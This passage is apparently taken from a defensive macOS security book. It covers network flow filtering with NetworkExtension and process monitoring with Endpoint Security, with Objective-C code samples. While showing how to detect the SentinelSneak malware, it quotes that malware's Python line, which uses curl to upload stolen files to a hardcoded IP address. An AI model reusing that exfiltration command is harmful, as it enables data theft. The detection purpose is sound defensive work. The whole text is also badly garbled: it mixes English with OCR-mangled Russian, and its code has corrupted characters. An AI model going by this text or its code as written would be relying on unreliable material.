remotePrefix:0 localNetwork:nil localPrefix:0@ protocol:NENetworkRuleProtocolAny
direction:NETrafficDirectionOutbound];

NEFilterRule* filterRule =
[[NEFilterRule alloc] initWithNetworkRule:networkRule action:NEFilterActionFilterData];

NEFilterSettings* filterSettings =
[[NEFilterSettings alloc] initWithRules:@[filterRule] defaultAction:NEFilterActionAllow];

[self applySettings:filterSettings completionHandler:~(NSError* _Nullable error) {
// If no error occurred, the filter data provider is now filtering.
3
}
Jlnctunr 7-14: Setting filter rules, specifying which traffic should be routed through extension

CHayvana kop creates object NENetworkRule, setting protocol filter option to any u direction filter option to
outbound. 3aTtem oH uses this object NENetworkRule to create object NEFilterRule. OH Takke specifies
action NEFilterActionFilterData, 4To6Obl ckasaTb framework NetworkExtension, yto mbl want to filter
data. [Janee oH creates object NEFilterSettings ¢ Tonbko 4TO co3gaHHbIMm filter rule, matching all
outbound traffic. Specifying NEFilterActionAllow for default action o3HavaeT, 4To any traffic, koTopbin
doesn't match this filter rule, 6ynet allowed. HakoHel, oH applies settings, 4To6bI begin filtration.
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Tenepb kaxablvi pas, korga program on the system initiates a new outbound network connection, system
aBToMaTunyeckn invokes delegate method handleNewFlow: in our filter class. XoTa oH shares same name,
aToT delegate method differs from one used for DNS monitoring in a few ways. OH npuHMmaert single
argument (object NEFilterFlow, containing information about flow) u, npu return, gomkeH instruct system
how to handle the flow. 310 genaetca yepes object NEFilterNewFlowVerdict, koTopbiii can specify
verdicts such as allow (allowVerdict), drop (dropVerdict) unu pause (pauseVerdict). lMockonbKy Mbl
focusing on tying a flow to its responsible process, mbl always allow the flow (nucTuHr 7-15).

-(NEFilterNewFlowVerdict*)handleNewFlow: (NEFilterFlow*)flow {

return [NEFilterNewFlowVerdict allowVerdict];

}
JluctnHr 7-15: Returning verdict from method handleNewFlow:

Ecnu 661 mbl building firewall, BMmecTo aToro mel would consult firewall rules nnu alert user before allowing
or blocking each flow.

Querying the flow

Querying the flow nossonset extract information, such as remote endpoint and process responsible for
generating it. CHayana npocrto print out object flow. Hanpumep, BoT flow, generated by curl, when
attempting to connect to objective-see.org:

flow:

identifier = D89B5B5D-793C-4940-80FE-54932FAAQ500
sourceAppIdentifier = .com.apple.curl
sourceAppVersion =

sourceAppUniqueIdentifier =

{length = 20, bytes = Oxbbb73e021281eee708f86d974c91182e955de441}
procPID = 26686

eprocPID = 26686

direction = outbound

inBytes = ©

outBytes = 0

signature =

{length = 32, bytes = 0x5a322cd8 f1l4f63bc all7ddf5 1762fa5abb8291c9 2b6ab2fd}
socketID = 5aa2f9354fe80

localEndpoint = 0.0.0.0:0

remoteEndpoint = 185.199.108.153:80

remoteHostname = objective-see.org.

protocol = 6

family = 2

type = 1

procUUID = 9C547A5F-AD1C-307C-8C16-426EF9EE2F7F

eprocUUID = 9C547A5F-AD1C-307C-8C16-426EF9EE2F7F

Momumo information about responsible process, such as its app ID, mbl Bugum details about destination,
including both endpoint and hostname. Object flow also contains information about type of flow, including
protocol and socket family.

Tenepsb extract more granular information. Recall that when configuring filter, mbl ckazanu system, 4to
interested only in filtering sockets. Noatomy flow, passed into method handleNewFlow:, 6yaeT object
NEFilterSocketFlow, subclass class NEFilterFlow. OTu objects umetot instance variable
remoteEndpoint, cogepxaluyto object type NWEndpoint, koTopeii cam contains information about flow's
destination. MoxHo extract IP address remote endpoint yepes instance variable hostname object
NEFilterSocketFlow u retrieve its port from variable port; 06e xpaHaTcs as strings (nMUCTUHT 7-16).

NSString* addr
NSString* port

((NEFilterSocketFlow*)flow).remoteEndpoint.hostname;
((NEFilterSocketFlow*)flow).remoteEndpoint.port;
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JluctnHr 7-16: Extracting remote endpoint's address and port

OT1u objects NEFilterSocketFlow Takke contain low-level information about flow, including socket family,
type u protocol. Tabnuua 7-1 summarizes these, Ho nogpobHee 0 HNX MOXHO y3HaTb B Apple
NEFilterFlow.h.

Tabnuua 7-1: Low-level flow information in NEFilterSocketFlow objects

Variable name Type Description

socketType int Socket type, such as SOCK_STREAM
socketFamily int Socket family, such as AF_INET
socketProtocol int Socket protocol, such as IPPROTO_TCP

M3 instance variables remoteEndpoint n socket MmoxHo extract information to be fed into network-based
heuristics. Hanpumep, moxHo craft heuristic, that flags any network traffic bound to nonstandard ports.

Uto6h! identify responsible process, objects NEFilterFlow umetoT properties sourceAppIdentifier u
sourceAppAuditToken. Mbl cocpegoToummcs Ha latter, nockonbky oH MmoxeT provide both process ID and
process path. JluctuHr 7-17 performs this extraction, following same approach, kotopbin Mbl used in DNS
monitor.

CFURLRef path = NULL;
SecCodeRef code = NULL;

audit_token_t* token = (audit_token_t*)flow.sourceAppAuditToken.bytes;
pid_t pid = audit_token_to_pid(*token);

SecCodeCopyGuestWithAttributes(NULL, (__bridge CFDictionaryRef _Nullable)(@{(__bridge NSString
*)kSecGuestAttributeAudit:flow.sourceAppAuditToken}), kSecCSDefaultFlags, &code);
SecCodeCopyPath(code, kSecCSDefaultFlags, &path);

// Do something with the process ID and path.
CFRelease(path);
CFRelease(code);

Jluctunr 7-17: Identifying responsible process from flow

Mebl extract audit token from flow, 3aTem call function audit_token_to_pid, 4Tobbl obtain responsible
process ID. Takke ncnonb3yem audit token, 4tobbl obtain code reference, 3atem call SecCodeCopyPath,
yTObbI retrieve process path.

3anyck monitor

Ecnn ckomnununpoBaTtbk 3T0T code as part of project, implementing complete, properly entitled network
extension, mbl Moxxem globally observe all outbound network flows in real time n 3atem extract information
about each flow's remote endpoint and responsible process. [Ja, 3T0 3Ha4uT, YTO Tenepb Mbl MOXXEM NErko
detect basic malware such as Dummy, Ho npoTecTupyem tool against relevant specimen macOS malware,
SentinelSneak.
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Detected at the end of 2022, stot malicious Python package targeted developers with goal of exfiltrating
sensitive data. (" On ucnonbsosan hardcoded IP address for its command-and-control server. U3 ero
unobfuscated Python code BngHo, 4to curl uploaded information from infected system to exfiltration
server, found at 54.254.189.27:

command = "curl -k -F \"file=@" + zipname + "\" \"https://54.254.189.27/api/

vl/file/upload\" > /dev/null 2>&1"
os.system(command)

3710 o3HavaeT, yTo DNS monitor, written earlier in this chapter, He detect its unauthorized network access.
Ho filter data provider should capture and display cneaytouiee:

flow:

identifier = D89B5B5D-793C-4940-41BD-B091F4C00700
sourceAppIdentifier = .com.apple.curl
sourceAppVersion =

sourceAppUniqueIdentifier = {length = 20, bytes =
Oxbbb73e021281eee708f86d974c91182e955de441}
procPID = 87558

eprocPID = 87558

direction = outbound

inBytes = @

outBytes = 0

signature = {length = 32, bytes = Ox4eeda2f2 72c06264
£38d479b 6ea2dc39 ... 74aal59c 9153147b}

socketID = 7c0f491bObd41l

localEndpoint = 0.0.0.0:0

remoteEndpoint = 54.254.189.27:443

protocol = 6

family = 2

type = 1

procUUID = 9C547A5F-AD1C-307C-8C16-426EF9EE2F7F
eprocUUID = 9C547A5F-AD1C-307C-8C16-426EF9EE2F7F
Remote Endpoint: 54.254.189.27:443

Process ID: 87558

Process Path: /usr/bin/curl

Kak BugHo, oH cmor capture flow, extract remote endpoint (54.254.189.27:443) u correctly identify
responsible process as curl.

37107 responsible process genaet detection 6onee complex, nockoneky curl - legitimate macOS platform
binary, a He untrusted component malware. Yto moxHo caenatb? Well, using methods covered in Chapter
1, MoxHo extract arguments, with which malware executed curl:

-k -F "file=<some file>" https://54.254.189.27/api/v1l/file/upload

31n arguments should raise some red flags, notomy 4to xoTs legitimate software yacto ucnoneayet curl
ansa download files, oH pegko ncnonesyetcs to upload them, ocobeHHo to hardcoded IP address. bonee
Toro, argument -k tells curl run in insecure mode, meaning server's SSL certificate won't be verified.
Again, this is a red flag, nockonbky legitimate software leveraging curl obbiuHO He run in this insecure
mode.

Takke moxHo determine, 4to parent process siBnsietca Python script, u collect script for manual analysis,
yTo BbICTpO reveal its malicious nature.
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3aknro4yeHue

OTa rnaea focused on concepts, necessary for building real-time, host-based network monitoring tools by
leveraging Apple's powerful NetworkExtension framework. Mockonbky vast majority Mac malware
incorporates networking capabilities, techniques, described in this chapter, essential for any malware
detection system. Unauthorized network activity serves as critical indicator for many security tools and
heuristic-based detection approaches, providing invaluable way to detect both known and unknown threats
targeting macOS.
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nmaBa 8. Endpoint Security

Ecnu Bbl fobpanucb B KHUre 4o 3TOro MecTa, Bbl MOIIM NPUIATY K BIBOAY, YTO writing security tools for
macOS - challenging venture Bo mHorom ns-3a camon Apple. Hanpumep, ecnu Bbl xotute capture memory
remote process, Bam He noBearno, a enumerating all persistently installed items, kak Bbl Bugenu B rnase 5,
BO3MOXHO, HO requires reverse engineering proprietary, undocumented database.

Ho s 3gecb He gnsa Toro, 4tobbl bash Apple, n, kak nokaxeT 3Ta rnaea, KOMNaHUs OTBETUNA Ha HaLIK
npocbbsbl, BeinycTnB Endpoint Security. Introduced in macOS 10.15 (Catalina), ato nepsbin framework
Apple, designed specifically to help third-party developers build advanced user-mode security tools,
Hanpumep tools, focused on detecting malware. ( TpyaHo nepeoueHnTb importance and power Endpoint
Security, N03TOMY 5 NOCBSALLAI0 eMy LiefbiX ABE rMaBbl.

B aTon rmase s gam overview framework 1 obcyato, kak ncnonb3oBatb ero APIs ansa takux actions, kak
monitoring file and process events. Criegytolas rnaea cocpegoToumTtcsi Ha more advanced topics, Takmx
kak muting and authorization events. B 4yactu Il 5 nokaxy, kak build several tools atop Endpoint Security.

BonblmHcTBO code snippets, npeacTaBnNeHHbIX B 3TOW U criedytoLlen rnaeax, B3aTbl Hanpsmyto 13
npoekta ESPlayground, Haxogswerocs B nanke Chapter 8 GitHub-penosutopus aToi kKHUMM
(https://github.com/Objective-see/TAOMM). 3ToT project cogepxuT code in its entirety, nosTomy ecnu Bbl
xoTtuTe build your own Endpoint Security tools, pekomeHayto starting there.

Workflow Endpoint Security

Endpoint Security nossonsiet create a program (client, B TepmuHonorun Apple) u register for (1nu
subscribe to) events of interest. Kaxxabin pas, korga these events occur on the system, Endpoint Security
deliver message to your program. OH Takke MoxeT block events' execution until your tool authorizes them.
Hanpumep, npeacrtaebTe, 4TO Bbl interested in being notified anytime a new process starts, 4Tobbl
yb6eouTbcs, 4To 3TO HEe malware. Micnonb3ys Endpoint Security, MoxHo specify, xoTute nu Bbl simply
receive notifications about new processes nnu system should hold off on spawning process until you've
examined and authorized it.

MHorue tools Objective-See ncnonesyot Endpoint Security MMeHHO Tak, kak g TOMbKO YTO onucan.
Hanpumep, BlockBlock ucnonbsyet Endpoint Security gnst monitoring persistent file events un blocking
non-notarized processes and scripts. PucyHok 8-1 nokasbiBaeT, kak BlockBlock octaHaBnusaet malware,
exploited zero-day exploit (CVE-2021-30657), 4Tobkl bypass macOS code signing and notarization
checks.

YTto6bl malicious actors He abusing power Endpoint Security, macOS requires any tools leveraging it to
fulfill several requirements. Camoe notable - nonyyeHue xenaHHoro entitiement
com.apple.developer.endpoint-security.client from Apple. B yactu Il 37O KHUIMM 51 OO BACHIO
exactly how to ask Apple for this entitlement u, koraa oH granted, generate and apply provisioning profile,
4yTObbI MOXHO ObIno deploy your tools to other macOS systems.
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Double Click to install

|_‘ bash

is attempting to runm a non-notarized script

bash (pid: 81772)
path: /bin/
/private/var/folders/3k/n5t_x5454y561gb35..6235354B5EB/d/1302. app/Contents/Mac05/1302

fprivate/var/folders/3k/n5t_x54s4y561gb35c..6235354B5EB/d/1302. app/Contents/Mac05/1302

PucyHok 8-1: BlockBlock ncnonb3yet Endpoint Security, 4Tobbl ocTaHOBUTbL 3anyck untrusted scripts and
processes

Moka xe, Kak oTMevanock BO BBeAeHUn K kHure, disabling System Integrity Protection (SIP) n Apple
Mobile File Integrity (AMFI) nossonut locally develop and test tools, leveraging Endpoint Security. Bam
BCe paBHO npuaeTcs add client entitlement, Ho ¢ aTumu gByMms disabled macOS security mechanisms Bbl
moxeTe grant it to yourself. B npoekte ESPlayground required Endpoint Security client entitlement
HaxoguTcsa B file ESPlayground.entitlements (nuctuHr 8-1).

<?xml version="1.0" encoding="UTF-8"?>

<plist version="1.0">

<dict>
<key>com.apple.developer.endpoint-security.client</key>
<true/>

</dict>

</plist>

Jlnctnur 8-1: Specifying required client entitlement

Build setting Code Signing Entitlements references this file, noatomy at compile time oH 6yget added to
project's application bundle. NMoatomy Ha system with SIP and AMFI disabled subscribing to and receiving
Endpoint Security events succeeds.
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Ecnn BbI designing tool, leveraging Endpoint Security, Bbl, BeposTHO, take the same four steps:

1. Declare events of interest.

2. Create a new client and callback handler block.
3. Subscribe to events.

4. Process events delivered to the handler block.

PaccmoTpum kaxapii u3 these steps, starting with understanding events of interest.

Events of interest

List Endpoint Security events moxHo HanTu B header file ESTypes.h. Ecnu y Bac installed Xcode, atoT 1
apyrvne Endpoint Security header files pomxHbl HaxoguTecsa B ero SDK directory: /Applications/Xcode.
app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/includ
e/EndpointSecurity. Xots official developer documentation Apple sometimes incomplete, header files
ESClient.h, ESMessage.h, EndpointSecurity.h n ESTypes.h extremely well commented, n nx
cnegyet cunTtaTk authoritative sources Endpoint Security information.

BHyTpu ESTypes. h list Endpoint Security events HaxoguTcst B enumeration es_event_type_ t:

/**

* The valid event types recognized by EndpointSecurity

*

"

*/

typedef enum {

// The following events are available beginning in macOS 10.15.
ES_EVENT_TYPE_AUTH_EXEC,

ES_EVENT_TYPE_AUTH_OPEN,

ES_EVENT_TYPE_AUTH_KEXTLOAD,

ES_EVENT_TYPE_NOTIFY_EXEC,

ES_EVENT_TYPE_NOTIFY_EXIT,

// The following events are available beginning in macOS 13.0.
ES_EVENT_TYPE_NOTIFY_AUTHENTICATION,
ES_EVENT_TYPE_NOTIFY_XP_MALWARE_DETECTED,

ES_EVENT_TYPE_NOTIFY XP_MALWARE_REMEDIATED,

ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD,
ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_REMOVE,

// The following events are available beginning in macOS 14.0.
ES_EVENT_TYPE_NOTIFY_XPC_CONNECT,

// The following events are available beginning in macOS 15.0.
ES_EVENT_TYPE_NOTIFY_GATEKEEPER_USER_OVERRIDE,

ES_EVENT_TYPE_LAST
} es_event_type_t;

Cpoenaem Heckornbko observations. Bo-nepBbix, kak nokasbiBatoT comments B header file, He Bce events
available on all versions macOS. Hanpumep, events, related to XProtect malware detection nnu addition of
persistence items, goctynHbl only beginning in macOS 13.
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Bo-BTOpbIX, X0TA 3TOT header file u developer documentation Apple directly He document these event
types, ux names gormkHbl give you a general idea of their purposes. Hanpumep, tool, interested in
passively monitoring process executions, gosmkeH subscribe to event ES_EVENT_TYPE_NOTIFY_EXEC.
Kpome Toro, kak Mbl yBuaum, each event type tied to corresponding event structure, such as
es_event_exec_t. Framework header files xopowwo document atu structures.

HakoHeu, names B header file fall into two categories: ES_EVENT_TYPE_AUTH_* u
ES_EVENT_TYPE_NOTIFY_*. Authorization events yalle Bcero originate from kernel mode un enter pending
state nocne delivery to Endpoint Security clients, requiring client explicitly authorize or deny them.
Hanpumep, 4tobhl allow only notarized processes to run, Bol cHayana register for
ES_EVENT_TYPE_AUTH_EXEC events, 3aTtem check each delivered event n authorize only those,
representing spawning notarized processes. Authorization events s o6cyato B crnegytoLlen rnaee.
Notification events originate in user mode and are for events that have already occurred. Ecnu BbI creating
passive monitoring tools, such as process monitor, Bbl subscribe to these.

Built-in macOS utility eslogger, found in /usr/bin, provides way to easily explore Endpoint Security
subsystem, nockonbky captures and outputs Endpoint Security notifications directly from terminal.
Hanpumep, gonyctum, Bbl XoTuTe build process monitor. Ha kakne Endpoint Security events gorxeH
subscribe Baw monitor, 4Tobbl receive information about processes? Event
ES_EVENT_TYPE_NOTIFY_EXEC looks promising. Micnonbayem macOS eslogger, 4tobbl see if we're on
the right track.

YT06bI capture and output Endpoint Security events of interest, BeinonHute eslogger c root privileges
from terminal, specifying event name. Tool uses short names for Endpoint Security notification events,
KoTopble MOXHO list via command line option --1ist-events:

# eslogger --list-events
access
authentication

exec

YT06bI view ES_EVENT_TYPE_NOTIFY_EXEC events, pass exec to eslogger:

# eslogger exec

Korpa eslogger capturing process execution events, nonpobyinTte execute command such as say ¢
arguments Hello World. Tool gomkeH output detailed information about executed event. 2 gor shippet
aToro output (Ha Bawen system oH MoxeT BbirnageTb slightly different, depending on macOS version):

# eslogger exec

{

"event_type": 9,

"event": {

"exec": {

"script": null,

"target": {

"signing_id": "com.apple.say",
"executable": {

"path": "\/usr\/bin\/say",
"ppid": 1152,

"is_platform_binary": true,
"audit_token": {

s

"original_ppid": 1152,

"cdhash": "6C92E@06B491C58B62FOC66E2D88OCESFEQ15573",
"team_id": null
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¥

"image_cpusubtype": -2147483646,
"image_cputype": 16777228,

"args": ["say", "Hello", "World"],

Kak BngHo, Endpoint Security provided He Tonbko basics, such as path and process ID newly executed
process, Ho u code signing information, arguments, parent PID n mHoroe gpyroe. Leveraging Endpoint
Security can greatly simplify any security tool, saving it from having to generate additional information
about the event itself.

Clients, handler blocks u event handling

Tenepb Bbl, BO3MOXHO, 3afaeTeCb BONPOCOM, Kak subscribe to events, a 3atem nporpammHo interact with
information, found within them. Hanpumep, kak extract path unu arguments gns process notification event
ES_EVENT_TYPE_NOTIFY_EXEC? CHauana HyxHo create Endpoint Security client.

UTto6hI create new client, processes moryT invoke Endpoint Security function es_new_client, koTopas

accepts callback handler block n out pointer to es_client_t, koTtopbin Endpoint Security initialize HoBbIM
client. Function returns result type es_new_client_result_t, setto ES_NEW_CLIENT_RESULT_SUCCESS,
ecnu call succeeds. OHa Takke moxeT return ogHo n3 following failure values, as detailed in ESClient.h:

ES_NEW_CLIENT_RESULT_ERR_NOT_ENTITLED Caller He umeert entitlement
com.apple.developer.endpoint-security.client.

ES_NEW_CLIENT_RESULT_ERR_NOT_PERMITTED Caller He permitted to connect to Endpoint Security
subsystem, nockoneky lacks TCC approval from user.

ES_NEW_CLIENT_RESULT_ERR_NOT_PRIVILEGED Caller He running with root privileges.
Header file provides additional details on these errors, as well as recommendations on how to fix each.

Mocne Toro kak Bbl subscribed to events, framework automatically invoke callback handler block, passed
to function es_new_client, for each event. NMpu invocation framework BkntoyaeT pointer to client n
structure es_message_t, koTopas 6yget contain detailed information about delivered event. File
ESMessage. h defines this message type:

typedef struct {

uint32_t version;

struct timespec time;

uint64_t mach_time;

uint64_t deadline;

es_process_t* _Nonnull process;

uint64_t seq_num; /* field available only if message version >= 2 */
es_action_type_t action_type;

union {

es_event_id_t auth;

es_result_t notify;

} action;

es_event_type_t event_type;

es_events_t event;

es_thread_t* _Nullable thread; /* field available only if message version >= 4 */
uint64_t global_seq_num; /* field available only if message version >= 4 */
uint64_t opaque[]; /* Opaque data that must not be accessed directly */

} es_message t;

MoxxHo consult header file for brief description kaxgoro structure member (1nu run eslogger, 4TOObI View
this full structure for each event), Ho 3gecb paccmoTpum Heckonbko important members. B Havane
structure HaxoguTcs field version. 3710 field useful, nockonbky HekoTophkle other fields may appear only in
later versions. Hanpumep, process CPU type (image_cputype) available only if version field is of type 6

154



or newer. [lanee nayt various timestamps u deadline. Deadline s o6cyato B rnase 9, NOCKoNbKy OH plays
important role npu dealing with event authorizations.

Structure es_process_t describes process responsible for taking action, triggered event. Bckope mbl
explore es_process_t structures more detail, HO noka AOCTATOYHO MNOHATL, YTO OHM contain information
about process, including audit tokens, code signing information, paths n more.

Cnepytowmn discussed member - event_type, koTopbin OyaeT set to type of event that was delivered,
Hanpumep ES_EVENT_TYPE_NOTIFY_EXEC. 370 useful, notomy 4to clients o6biuHo register for multiple
event types. NockonbKy each event type contains different data, BaxxHo determine, with which event you're
dealing. Hanpumep, process monitor moxeT caenaTb 310 ¢ statement switch (nuctuHr 8-2).

switch(message->event_type) {

case ES_EVENT_TYPE_NOTIFY_EXEC:
// Add code here to handle exec events.
break;

case ES_EVENT_TYPE_NOTIFY_FORK:
// Add code here to handle fork events.
break;

case ES_EVENT_TYPE_NOTIFY_EXIT:
// Add code here to handle exit events.
break;

default:
break;

}
JluctnHr 8-2: Handling multiple message types

Event-type-specific data in structure es_message_t umeer type es_events_t. 3ToT type - large union of
types, found in ESMessage. h, that map to Endpoint Security events. Hanpumep, in this union msi find
es_event_exec_t, event type for ES_EVENT_TYPE_NOTIFY_EXEC. The same header file contains definition
of es_event_exec_t:

/**

* @brief Execute a new process.

* @field target The new process that is being executed.

* @field script The script being executed by the interpreter.

*/

typedef struct {

es_process_t* _Nonnull target;

es_string token_t dyld_exec_path; /* field available only if message version >= 7 */
union {

uint8_t reserved[64];

struct {

es_file_t* _Nullable script; /* field available only if message version >= 2 */
es_file_t* _Nonnull cwd; /* field available only if message version >= 3 */

int last_fd; /* field available only if message version >= 4 */

cpu_type_t image_cputype; /* field available only if message version >= 6 */
cpu_subtype_t image_cpusubtype; /* field available only if message version >= 6 */
¥

}s

} es_event_exec_t;
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CHoBa consult header file for detailed comments about each member structure es_event_exec_t. Most
relevant is member named target, pointer to structure es_process_t, representing new process that is
executed. PaccmoTpum 3Ty structure nogpobHee, 4TobbI yBMAETH, Kakyto information oHa provides about
process:

/**

* @brief Information related to a process. This is used both for describing processes ...
(e.g., for exec events, this describes the new process being executed).

*

* @field audit_token Audit token of the process

* @field ppid Parent pid of the process

* @field signing_id The signing id of the code signature associated with this process
* @field team_id The team id of the code signature associated with this process
* @field executable The executable file that is executing in this process
*/

typedef struct {

audit_token_t audit_token;

pid_t ppid;

pid_t original_ppid;

pid_t group_id;

pid_t session_id;

uint32_t codesigning flags;

bool is_platform_binary;

bool is_es_client;

uint8_t cdhash[20];

es_string_token_t signing_id;

es_string_token_t team_id;

es_file_t* _Nonnull executable;

es_file_t* _Nullable tty;

struct timeval start_time;

audit_token_t responsible_audit_token;

audit_token_t parent_audit_token;

} es_process_t;

Kak n c gpyrumu structures in header files, comments explain many structure members. [Insa Hac
especially interesting following:

* Audit tokens, such as audit_token, responsible_audit_token un parent_audit_token
 Code signing information, such as signing_id n team_id
» Executable (executable)

B npegblaywinx rmasax a obcyxaan usefulness building process hierarchies u challenges creating
accurate ones. Endpoint Security subsystem provides us with audit tokens both direct parent and
responsible process that spawned new process, making building accurate process hierarchy for newly
spawned process a breeze. Structure es_process_t contains this information directly, so we're no longer
required to manually build such hierarchies.

Tenepb noroBopnM 0 member executable structure es_process_t, pointer to structure es_file_t. Kak
shown in following structure definition, structure es_file_t provides path to a file on disk, such as to
process binary:

/**

* @brief es_file_t provides the stat information and path to a file.
* @field path Absolute path of the file

* @field path_truncated Indicates if the path field was truncated
"

typedef struct {

es_string_token_t path;

bool path_truncated;

struct stat stat;
} es_file_t;
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YTobbI get actual path, HykHO NOHATL ewle oaHy structure, es_string_token_t. Bbl 6ygeTte BcTpeyats ee
yacTo, NOCKONbKY UMeHHO Tak Endpoint Security stores strings, such as filepaths. 3ta simple structure,
defined in ESTypes.h, contains only two members:

/**

* @brief Structure for handling strings

*/

typedef struct {

size_t length;

const char* data;

} es_string_token_t;
Member length structure - ato length string token. Comment B header file notes that it is equivalent to
value returned by strlen. OgHako He cnefyerT actually use strlen on string data, nockonsky member
data structure He guaranteed to be NULL terminated. Yto0ni print structures es_string_token_t as
C-string, ncnoneaynte format string %. *s, koTopbIi expects two arguments: maximum number of
characters to print n pointer to characters (nuctunr 8-3).

es_string_token_t* responsibleProcessPath = &message->process->executable->path;

printf("responsible process: %.*s\n",
(int)responsibleProcessPath->length, responsibleProcessPath->data);

es_string_token_t* newProcessPath = &message->event.exec.target->executable->path;
printf("new process: %.*s\n", (int)newProcessPath->length, newProcessPath->data);

JInctnur 8-3: Outputting structures es_string_token_t from within structures es_process_t

CHauana code extracts string token for process responsible for triggering Endpoint Security event. 3atem
OH prints out path aToro process, using aforementioned format string and length and data members
string token structure. Recall that when event ES_EVENT_TYPE_NOTIFY_EXEC occurs, structure describing
newly spawned process can be found in member target structure exec (located in message's event
structure). 3atem code accesses this structure to print out path newly spawned process.

Tenepb, BeposTHO, Bbl 3axoTute do more than just print out information about events. Hanpumep, for all
new processes, MOXHo extract paths and store them in array unu pass each path to function that checks if
they are notarized. Ytobbl achieve this, BeposaTHo, noHagobutca convert string token into more
programmatically friendly object, such as NSString. Kak nokasaHo B nuctuHre 8-4, 3To MOXHO caenaTtb
ogHom line of code.

NSString* string = [[NSString alloc] initWithBytes:stringToken->data length:stringToken->
length encoding:NSUTF8StringEncoding];

Jlnctnur 8-4: Converting es_string token_t to NSString

Kog uses method NSString initWithBytes:length:encoding:, passing in string token's data and
length members and string encoding NSUTF8StringEncoding.

YUTobbl actually start receiving events, HyxHo subscribe! Vimesi Endpoint Security client, invoke API
es_subscribe. As its parameters, oH takes newly created client, array of events n number of events to
subscribe to, which here includes process execution and exit events (nucTuHr 8-5).

es_client_t* client = NULL;
es_event_type_t events[] = {ES_EVENT_TYPE_NOTIFY_EXEC, ES_EVENT_TYPE_NOTIFY_EXIT};

es_new_client(&client, ~(es_client_t* client, const es_message_t* message) {
// Add code here to handle delivered events.

1)

es_subscribe(client, events, sizeof(events)/sizeof(events[@0]));

JInctuur 8-5: Subscribing to events
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O6paTtnTte BHMMaHue, 4To Mbl compute number of events rather than hardcoding it. Once function
es_subscribe returns with no error, Endpoint Security subsystem begins asynchronously delivering
events that match types to which we subscribed. Specifically, it invokes handler block specified when
creating client.

CosaaHue process monitor

MpymeHnm nonydeHHbIEe 3HaHUSA, co3aaB process monitor, koTophbil relies on Endpoint Security. CHavana
subscribe to process events, such as ES_EVENT_TYPE_NOTIFY_EXEC, a 3aTeM parse pertinent process
information as we receive events.

MpumeyaHue. 3aeckb NpmBeaeHsbl TONbKO relevant snippets, Ho Becb code MoXxHO HanTw B file
monitor.m npoekta ESPlayground. Takke MOXHO HaTu open source, production-ready process
monitor, built atop Endpoint Security, B npoekte Process Monitor B GitHub repository
Objective-See: https://github.com/objective-see/ProcessMonitor.

HauunHaewm c specifying, kakne Endpoint Security events Hac uHtepecytoT. [1na simple process monitor
MOXHO 6b1n10 6bl stick to just event ES_EVENT_TYPE_NOTIFY_EXEC. OgHako mbl also register for event
ES_EVENT_TYPE_NOTIFY_EXIT, uTobhbl track process exits. Mbl nomewaem these event types into array
(nucTuHr 8-6). Mocne cosgaHus Endpoint Security client mbl subscribe to events.

es_event_type_t events[] = {ES_EVENT_TYPE_NOTIFY_EXEC, ES_EVENT_TYPE_NOTIFY_EXIT};
Jlnctnr 8-6: Events of interest to simple process monitor

B nuctuHre 8-7 mol create client yepes APl es_new_client.
es_client_t* client = NULL;
es_new_client_result_t result =
es_new_client(&client, ~(es_client_t* client, const es_message_t* message) {
// Add code here to handle delivered events.

1)

if(ES_NEW_CLIENT RESULT_SUCCESS != result) {
// Add code here to handle error.
}

Jlnctnur 8-7: Creating new Endpoint Security client

Mebi invoke APl es_new_client, 4ToObl create new client instance, n noka leave handler block
unimplemented. Assuming call succeeds, y Hac bygeT newly initialized client. Kog checks result call
against constant ES_NEW_CLIENT_RESULT_SUCCESS, 4to6bl confirm this is the case. Recall that if your
project is not adequately entitled, if you are running it via terminal without granting it Full Disk Access, or if
your code is not running with root privileges, call to es_new_client will fail.

Subscribing to events

Mwmes client, mbl can subscribe to process execution and exiting events by invoking APl es_subscribe
(nucTuHr 8-8).

es_event_type_t events[] = {ES_EVENT_TYPE_NOTIFY_EXEC, ES_EVENT_TYPE_NOTIFY_EXIT};
// Removed code that invoked es_new_client
es_subscribe(client, events, sizeof(events)/sizeof(events[@]));

Jlnctnur 8-8: Subscribing to process events of interest
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O6patuTe BHMMaHMe, 4To Mbl compute number of events rather than hardcoding it. Once function
es_subscribe returns, Endpoint Security subsystem begins asynchronously delivering events that match
types to which we have subscribed.

Extracting process objects

3710 npmBOAUT Hac K final step - handle delivered events. A ynomuHan, uyto handler block invoked with two
parameters: client type es_client_t, koTopomy sent event, n pointer to event message type
es_message_t. Ecnu mbl He working with authorization events, client is not directly relevant, HO Mbl
ucnonb3yem message, KoTopbiin contains information about delivered event.

Mpexae Bcero Mol extract pointer to structure es_process_t, containing information about either newly
spawned process or process that has just exited. Choosing which process structure to extract requires
making use of event type. [ins exiting (v 6onbIMHCTBa Apyrux) events mbl extract member process
message, KoTophliin contains pointer to process responsible for taking action that triggered event. OgHako
in the case of process execution events Hac Gonblle MHTepecyeT access to process that was just
spawned. NMNoaTomy Mbl ucnonb3yem structure es_event_exec_t, whose target member is pointer to
relevant structure es_process_t (nuctuHr 8-9).

es_new_client(&client, ~(es_client_t* client, const es_message_t* message) {

es_process_t* process = NULL;
u_int32_t event = message->event_type;

switch(event) {

case ES_EVENT_TYPE_NOTIFY_EXEC:
process = message->event.exec.target;
break;

case ES_EVENT_TYPE_NOTIFY_EXIT:
process = message->process;
break;

1

Jinctnur 8-9: Extracting relevant process

CHavana mbl extract type of event from message, 3atem switch on it, 4tobbl extract pointer to structure
es_process_t. B cnyyae process execution event mbl extract process that was just spawned from
structure es_event_exec_t. [Ing process exit messages Mol extract process directly from message.

Extracting process information

Tenepsb, Koraa y Hac ecTb pointer to structure es_process_t, MoxHo extract information such as process
audit token, PID, path n code signing information. Takke ans newly spawned processes MOXHO extract
their arguments, a ons exited processes - their exit code.
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Audit tokens

HayHem npocTo: extract process audit token (nuctuHr 8-10).

NSData* auditToken = [NSData dataWithBytes:&process->audit_token length:sizeof(audit_token_t)];
Jluctunr 8-10: Extracting audit token

Audit token - first field in structure es_process_t, type audit_token_t. MoxHo use this value directly
Unu, Kak caenaHo 3gecsb, extract it into object NSData. Recall that audit token allows you to uniquely and
securely identify process, as well as extract other process information, such as process ID. B nuctuHre
8-11 mbl pass audit token to function audit_token_to_pid, kotopas returns PID.

pid_t pid = audit_token_to_pid(process->audit_token);
Jlnctnr 8-11: Converting audit token to process ID

Mel Takke moxem extract process effective UID from audit token by means of function
